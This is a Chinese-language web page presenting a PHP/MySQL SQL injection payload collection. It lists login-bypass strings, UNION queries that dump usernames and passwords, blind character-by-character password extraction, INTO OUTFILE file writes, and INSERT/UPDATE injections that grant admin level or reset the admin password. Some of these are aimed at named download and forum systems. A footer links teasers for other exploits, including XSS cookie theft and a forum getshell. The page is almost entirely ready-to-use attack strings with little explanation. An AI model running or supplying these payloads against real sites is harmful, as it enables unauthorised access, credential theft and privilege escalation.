PHP注射一路小跑

所属分类: 网络安全 / 漏洞分析 阅读数: 293
收藏 0 赞 0 分享

  php注射库

  ' or 1=1

  ' or '1=1

  '/*

  '%23

  ' and password='mypass

  id=-1 union select 1,1,1

  id=-1 union select char(97),char(97),char(97)

  id=1 union select 1,1,1 from members

  id=1 union select 1,1,1 from admin

  id=1 union select 1,1,1 from user

  userid=1 and password=mypass

  userid=1 and mid(password,3,1)=char(112)

  userid=1 and mid(password,4,1)=char(97)

  and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的)

  ' and LENGTH(password)='6(探测密码长度)

  ' and LEFT(password,1)='m

  ' and LEFT(password,2)='my

  …………………………依次类推

  ' union select 1,username,password from user/*

  ' union select 1,username,password from user/*

  =' union select 1,username,password from user/* (可以是1或者=后直接跟)

  99999' union select 1,username,password from user/*

  ' into outfile 'c:/file.txt (导出文件)

  =' or 1=1 into outfile 'c:/file.txt

  1' union select 1,username,password from user into outfile 'c:/user.txt

  select password FROM admins where login='John' INTO DUMPFILE '/path/to/site/file.txt'

  id=' union select 1,username,password from user into outfile

  id=-1 union select 1,database(),version() (灵活应用查询)

  常用查询测试语句,

  select * FROM table where 1=1

  select * FROM table where 'uuu'='uuu'

  select * FROM table where 1<>2

  select * FROM table where 3>2

  select * FROM table where 2<3

  select * FROM table where 1

  select * FROM table where 1+1

  select * FROM table where 1--1

  select * FROM table where ISNULL(NULL)

  select * FROM table where ISNULL(COT(0))

  select * FROM table where 1 IS NOT NULL

  select * FROM table where NULL IS NULL

  select * FROM table where 2 BETWEEN 1 AND 3

  select * FROM table where 'b' BETWEEN 'a' AND 'c'

  select * FROM table where 2 IN (0,1,2)

  select * FROM table where CASE WHEN 1>0 THEN 1 END

  例如:夜猫下载系统1.0版本

  id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

  id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1

  union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码)

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码)

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位)

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51

  …………………………………………………………

  例如2:灰色轨迹 变换id进行测试(meteor)

  union%20(select%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate

  union%20(select%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate

  构造语句:

  select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)

  select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)

  union%20(select%201,0,2,'1999-01-01','a',password%20FROM%20user%20where%20userid%20=%205)%20order%20by%20eventdate

  union%20(select%201,0,12695,'1999-01-01','a',password%20FROM%20user%20where%20userid=13465)%20order%20by%20eventdate

  union%20(select%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20where%20username='sandflee')%20order%20by%20eventdate (查沙子的id)

  (select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10)

  select * FROM article where articleid='$id' union select * FROM……(字段和数据库相同情况下,可直接提交)

  select * FROM article where articleid='$id' union select 1,1,1,1,1,1,1 FROM……(不同的情况下)

  特殊技巧:在表单,搜索引擎等地方写:

  "___"

  ".__ "

  "%

  %' ORDER BY articleid/*

  %' ORDER BY articleid#

  __' ORDER BY articleid/*

  __' ORDER BY articleid#

  $command = "dir c:";system($command);

  select * FROM article where articleid='$id'

  select * FROM article where articleid=$id

  1' and 1=2 union select * from user where userid=1/* 句中变为

  (select * FROM article where articleid='1' and 1=2 union select * from user where userid=1/*')

  1 and 1=2 union select * from user where userid=1

  语句形式:建立一个库,插入:

  create DATABASE `injection`

  create TABLE `user` (

  `userid` int(11) NOT NULL auto_increment,

  `username` varchar(20) NOT NULL default '',

  `password` varchar(20) NOT NULL default '',

  PRIMARY KEY (`userid`)

  ) ;

  insert INTO `user` VALUES (1, 'swap', 'mypass');

  插如一个注册用户:

  insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');

  "insert INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";

  insert INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')

  "insert INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";

  insert INTO membres SET login='',password='',nom='',userlevel='3',email=''

  "insert INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";

  update user SET password='$password', homepage='$homepage' where id='$id'

  update user SET password='MD5(mypass)' where username='admin'#)', homepage='$homepage' where id='$id'

  "update membres SET password='$pass',nom='$nom',email='$email' where id='$id'";

  update membres SET password='[PASS]',nom='',userlevel='3',email=' ' where id='[ID]'

  "update news SET Votes=Votes+1, score=score+$note where idnews='$id'";

  长用函数:

  DATABASE()

  USER()

  SYSTEM_USER()

  SESSION_USER()

  CURRENT_USER()

  比如:

  update article SET title=$title where articleid=1 对应函数

  update article SET title=DATABASE() where id=1

  #把当前数据库名更新到title字段

  update article SET title=USER() where id=1

  #把当前 MySQL 用户名更新到title字段

  update article SET title=SYSTEM_USER() where id=1

  #把当前 MySQL 用户名更新到title字段

  update article SET title=SESSION_USER() where id=1

  #把当前 MySQL 用户名更新到title字段

  update article SET title=CURRENT_USER() where id=1

  #把当前会话被验证匹配的用户名更新到title字段

  :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

  $req = "select * FROM membres where name like '%$search%' ORDER BY name";

  select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name

  select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name

  select uid FROM admins where login='' OR 'a'='a' AND password='' OR 'a'='a' (经典)

  select uid FROM admins where login='' OR admin_level=1#' AND password=''

  select * FROM table where msg like '%hop'

  select uid FROM membres where login='Bob' AND password like 'a%'#' AND password=''

  select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name

更多精彩内容其他人还在看

万能密码漏洞以及修复

  万能密码漏洞以及修复   记得几年前要入侵一个企业网站超级简单   一般只需要找到后台 还有后台通常是www.xxx.com/admin/   然后账号 密码都是'or'='or' 就进去   现在好像有几个也可以用 但是已经没那么普及了   如果网站还出现这种“
收藏 0 赞 0 分享

cyask知道系统collect.php页面存在越权漏洞

影响版本: Cyask 程序介绍: Cyask国内较为多人使用的仿百度风格的Ask系统。 漏洞分析: 从Collect.php代码当中可以看到 else   {     /*  
收藏 0 赞 0 分享

恒浪IMS整合系统V4.1 多文件存在SQL注入漏洞

影响版本: HoWave V4.1 ASP 漏洞描述: 在文件inc/ hl_manage.inc中: adminUserId= Request.Cookies("hl_manage")("username")  
收藏 0 赞 0 分享

WINDOWS 7 RC 7100 GDI驱动Win32k.sys内核D.O.S漏洞

感谢:Iceboy发现此问题并提供DUMP 漏洞厂商及产品:Microsoft Windows 7 rc 7100 090421 存在漏洞组件:win32k.sys Timestamp :49ee8dc8 存在漏洞函数:NtUserGetDc/NtUserGetDcEx 漏洞描
收藏 0 赞 0 分享

Gh0st控制端逻辑漏洞

严重程度:高 威胁程度:控制远程主机 错误类型:逻辑错误 利用方式:主机模式   受影响系统 Gh0st3.6之前所有版本 未影响系统 未知 详细描述 Gh0st 发现漏洞一个逻辑漏洞,这些漏洞可以被用户利用,可以从被控端向控制端发送任意文件到任意位置。 测试
收藏 0 赞 0 分享

微软IIS6漏洞:服务器敏感信息易被窃

近日,安全专家对使用微软Internet信息服务IIS 6的管理员发出警告,声称Web服务器很容易受到攻击并暴露出密码保护的文件和文件夹。   据悉,基于WebDAV协议的部分进程命令中存在这种漏洞。通过给Web地址添加一些Unicode字符,黑客就可以访问这些敏感文件&mda
收藏 0 赞 0 分享

校内网最新 xss Cookies得到密码

From:http://t00ls.net/viewthread.php?tid=1323&highlight= 校内网在发blog时对插入图片过滤不严格,存在xss漏洞. 在发blog时将插入图片URL写为如下代码即可触发:普通浏览复制代码打印代码 javas
收藏 0 赞 0 分享

phpcms2008 注入漏洞

这个是最新有人发现的 该漏洞文件:ask/search_ajax.php 漏洞说明: /ask/search_ajax.php Code: if($q) { $where = " title LIKE '%$q%' AND status = 5&qu
收藏 0 赞 0 分享

PHPWIND & DISCUZ! CSRF漏洞

PHPWIND & DISCUZ! CSRF漏洞影响版本: Discuz! 6.0.0 & 6.1.0 & 7.0.0 PHPWIND 6.0 & 6.3 & 7.0 漏洞描述: PHPWIND & DISCUZ!存在CSRF漏洞
收藏 0 赞 0 分享

phpwin7.0拿shell的方法

事发一星期前,在入侵一个PHPWIND论坛时的成果,适用于PHPWIND不能上传,而网上盛传的三种拿SEHLL方法都无效,可以一试,应该算是PHPWIND后台的漏洞 准备工具:winsock专家 v0.6 betan1 一只;UE-32.EXE一只;NC.EXE一只,电脑一台(
收藏 0 赞 0 分享
查看更多